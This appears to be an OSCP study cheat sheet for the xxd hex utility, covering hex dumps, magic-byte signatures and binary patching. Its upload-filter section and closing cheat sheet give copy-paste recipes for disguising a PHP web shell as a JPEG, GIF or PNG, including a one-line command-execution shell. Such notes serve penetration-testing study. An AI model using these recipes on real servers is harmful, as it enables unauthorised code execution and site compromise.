xxd — Hex Dump & Binary Manipulation

What is xxd?

xxd converts files to and from hex. It can dump any file as readable hex, patch specific bytes, and reverse a hex string back into binary — making it essential for inspecting file signatures (magic bytes) and crafting files that bypass upload filters.


Syntax

xxd [options] [infile] [outfile]

📌 1) All Flags

FlagDescription
-rReverse — convert hex dump back to binary
-pPlain hex output (no address/ASCII columns)
-r -pConvert plain hex string → binary
-l <n>Only dump the first n bytes
-s <offset>Start at byte offset (decimal or hex with 0x)
-c <n>Columns — bytes per row (default: 16)
-g <n>Group size — bytes per group (default: 2)
-uUse uppercase hex letters
-iOutput as a C-style unsigned char array
-bBinary (bit) dump instead of hex
-eLittle-endian byte order
-dDecimal offset instead of hex offset
-n <name>Override variable name in -i output
-o <offset>Add offset to the displayed address

📌 2) Basic Usage

View hex dump of a file

xxd file.bin
xxd file.bin | head -20     # First 20 lines
xxd /bin/ls | head           # Inspect any binary

Output columns: [offset] [hex bytes] [ASCII]

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............

View only the first N bytes (magic bytes check)

xxd -l 16 file.jpg          # First 16 bytes
xxd -l 4 file.png           # First 4 bytes (PNG signature)
xxd -l 8 file.gif

Plain hex output (no formatting — useful for scripting)

xxd -p file.bin             # All hex, no spaces or offsets
xxd -p -l 8 file.jpg        # First 8 bytes as plain hex

View a specific byte range

xxd -s 0x100 -l 32 file.bin    # 32 bytes starting at offset 0x100
xxd -s 256 -l 32 file.bin      # Same, decimal offset

📌 3) Convert Hex → Binary (-r -p)

The most important xxd workflow for OSCP — convert a hex string into a binary file:

# Convert a hex string to binary
echo -n "FFD8FFE000104A464946" | xxd -r -p > output.bin
 
# Write specific bytes to a file
echo -n "FFD8FFE0" | xxd -r -p > header.bin
 
# Check what you made
xxd -l 8 header.bin
file header.bin

📌 4) Magic Bytes — File Signatures

Every file type has a unique byte signature at the start of the file. Servers and AV tools often use these to identify file types, regardless of extension.

Common Magic Bytes (Hex)

File TypeMagic Bytes (Hex)ASCII
JPEGFF D8 FF E0ÿØÿà
JPEG (JFIF)FF D8 FF E0 00 10 4A 46 49 46 00 01ÿØÿà..JFIF.
PNG89 50 4E 47 0D 0A 1A 0A‰PNG....
GIF87a47 49 46 38 37 61GIF87a
GIF89a47 49 46 38 39 61GIF89a
PDF25 50 44 46%PDF
ZIP50 4B 03 04PK..
7-Zip37 7A BC AF 27 1C7z¼¯'.
RAR52 61 72 21 1A 07Rar!..
ELF (Linux binary)7F 45 4C 46.ELF
PE (Windows EXE/DLL)4D 5AMZ
BMP42 4DBM
MP400 00 00 18 66 74 79 70....ftyp
Class (Java)CA FE BA BEÊþ¾¾

Check a file’s magic bytes

# Using xxd
xxd -l 16 suspicious_file
 
# Using file command (reads magic bytes automatically)
file suspicious_file
file image.jpg
file upload.php
 
# Using hexdump
hexdump -C -n 16 suspicious_file

📌 5) Making a File Look Like a JPEG (Magic Byte Injection)

Prepend JPEG magic bytes to any file so that file and magic-byte checks report it as a JPEG. Used to bypass upload filters that inspect file content rather than just the extension.

Prepend JPEG header to any file

# Prepend the JPEG magic bytes to a PHP webshell
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
 
# Verify — should say JPEG
file shell.jpg
xxd -l 16 shell.jpg
 
# The file will pass magic-byte checks AND contain PHP code

Prepend a real JPEG header (more convincing)

# Use the first bytes of an actual image, then append your payload
head -c 16 real_image.jpg > magic_header.bin
cat magic_header.bin shell.php > fake_image.jpg
 
# Or inline:
(head -c 16 real_image.jpg; cat shell.php) > fake_image.jpg
file fake_image.jpg      # Reports: JPEG image data

GIF polyglot (also common — bypass GIF magic byte check)

# GIF89a header
(printf 'GIF89a'; cat shell.php) > shell.gif
file shell.gif           # Reports: GIF image data
 
# Or with xxd:
(echo -n "474946383961" | xxd -r -p; cat shell.php) > shell.gif

PNG polyglot

xxd hex method (OSCP walkthrough style):

echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
cat shell.php >> mime_shell.php.png
file mime_shell.php.png    # PNG image data

One-liner:

(printf '\x89PNG\r\n\x1a\n'; cat shell.php) > shell.png

Inject into real PNG: open image in vim, paste PHP after header bytes:

<?php echo "START<br/><br/>\n\n\n"; system($_GET["cmd"]); echo "\n\n\n<br/><br/>"; ?>

Verify with file — must still report PNG image data.


📌 6) Patching a Binary In-Place

Edit specific bytes of a file without changing its size:

# Step 1: dump to editable hex file
xxd original.bin > original.hex
 
# Step 2: edit the hex file (change specific bytes)
nano original.hex
 
# Step 3: convert back to binary (overwrites in place)
xxd -r original.hex > patched.bin
 
# Verify patch
xxd -l 32 patched.bin

📌 7) Useful One-Liners

# Check magic bytes of any file
xxd -l 8 <file> | head -1
 
# Compare two files as hex
diff <(xxd file1) <(xxd file2)
 
# Find a string inside a binary file
xxd binary | grep -i "password\|secret\|flag"
 
# Extract bytes 100-200 from a file
xxd -s 100 -l 100 file.bin | xxd -r > extracted.bin
 
# Print a file's full content as a one-line hex string
xxd -p file.bin | tr -d '\n'
 
# Convert a hex string back to ASCII
echo "48656c6c6f" | xxd -r -p
 
# Create a file with specific bytes from scratch
printf '\xFF\xD8\xFF\xE0' > jpeg_magic.bin
echo -n "deadbeef" | xxd -r -p > test.bin

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Check what file type a file really is
file suspicious_file
xxd -l 16 suspicious_file
 
# Prepend JPEG magic bytes to a webshell (bypass upload filters)
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
 
# GIF89a polyglot
(printf 'GIF89a'; cat shell.php) > shell.gif
 
# PNG polyglot (xxd hex header)
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
cat shell.php >> mime_shell.php.png
 
# Use a real image's header (most convincing)
(head -c 16 legit.jpg; cat shell.php) > fake.jpg
 
# Verify the magic bytes are there
xxd -l 16 fake.jpg
file fake.jpg
 
# Find strings in a binary
xxd binary | grep -i "pass\|key\|secret\|flag"
 
# Hex → ASCII conversion
echo "546f6f6c" | xxd -r -p